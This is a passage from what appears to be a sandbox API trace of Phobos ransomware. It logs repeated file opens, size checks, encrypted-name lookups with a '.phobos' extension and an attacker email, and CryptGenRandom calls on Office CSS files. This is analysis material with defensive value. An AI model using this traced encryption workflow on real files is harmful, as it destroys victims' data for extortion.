hTemplateFile=0x0) returned 0x574 [0155.714] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=126106) returned 1 [0155.714] CloseHandle (hObject=0x574) returned 1 [0155.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme13.css")) returned 0x220 [0155.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme13.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme13.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.714] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme14.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.715] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=128460) returned 1 [0155.715] CloseHandle (hObject=0x574) returned 1 [0155.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme14.css")) returned 0x220 [0155.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme14.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme14.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.715] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme15.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.716] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=123028) returned 1 [0155.716] CloseHandle (hObject=0x574) returned 1 [0155.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme15.css")) returned 0x220 [0155.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme15.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme15.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.717] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme16.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.718] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=129058) returned 1 [0155.718] CloseHandle (hObject=0x574) returned 1 [0155.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme16.css")) returned 0x220 [0155.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme16.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme16.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.719] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME17.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme17.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.719] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=125658) returned 1 [0155.719] CloseHandle (hObject=0x574) returned 1 [0155.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME17.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme17.css")) returned 0x220 [0155.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME17.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme17.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME17.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme17.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.720] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME18.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme18.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.720] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=132152) returned 1 [0155.720] CloseHandle (hObject=0x574) returned 1 [0155.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME18.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme18.css")) returned 0x220 [0155.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME18.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme18.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME18.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme18.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.721] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME19.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme19.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.721] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=131058) returned 1 [0155.721] CloseHandle (hObject=0x574) returned 1 [0155.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME19.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme19.css")) returned 0x220 [0155.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME19.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme19.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME19.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme19.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.721] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME20.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme20.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.722] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=128752) returned 1 [0155.722] CloseHandle (hObject=0x574) returned 1 [0155.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME20.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme20.css")) returned 0x220 [0155.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME20.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme20.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME20.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme20.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.723] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME21.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme21.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.723] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=125670) returned 1 [0155.723] CloseHandle (hObject=0x574) returned 1 [0155.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME21.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme21.css")) returned 0x220 [0155.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME21.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme21.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME21.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme21.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.724] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME22.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme22.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.724] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=130250) returned 1 [0155.724] CloseHandle (hObject=0x574) returned 1 [0155.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME22.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme22.css")) returned 0x220 [0155.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME22.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme22.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME22.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme22.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.725] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME23.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme23.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.725] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=128506) returned 1 [0155.725] CloseHandle (hObject=0x574) returned 1 [0155.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME23.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme23.css")) returned 0x220 [0155.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME23.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme23.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME23.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme23.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.726] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME24.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme24.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.726] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=126520) returned 1 [0155.726] CloseHandle (hObject=0x574) returned 1 [0155.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME24.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme24.css")) returned 0x220 [0155.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME24.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme24.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME24.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme24.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.727] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME25.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme25.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.728] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=130286) returned 1 [0155.728] CloseHandle (hObject=0x574) returned 1 [0155.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME25.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme25.css")) returned 0x220 [0155.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME25.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme25.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME25.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme25.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.728] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME26.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme26.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.927] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=119222) returned 1 [0155.927] CloseHandle (hObject=0x254) returned 1 [0155.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME26.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme26.css")) returned 0x220 [0155.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME26.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme26.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME26.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme26.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.930] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME43.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme43.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.933] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=124692) returned 1 [0155.933] CloseHandle (hObject=0x254) returned 1 [0155.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME43.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme43.css")) returned 0x220 [0155.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME43.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme43.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME43.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme43.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.933] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME45.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme45.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.934] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=124582) returned 1 [0155.934] CloseHandle (hObject=0x254) returned 1 [0155.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME45.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme45.css")) returned 0x220 [0155.935] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME45.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme45.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME45.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme45.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.935] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME46.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme46.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.936] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=130486) returned 1 [0155.936] CloseHandle (hObject=0x254) returned 1 [0155.936] 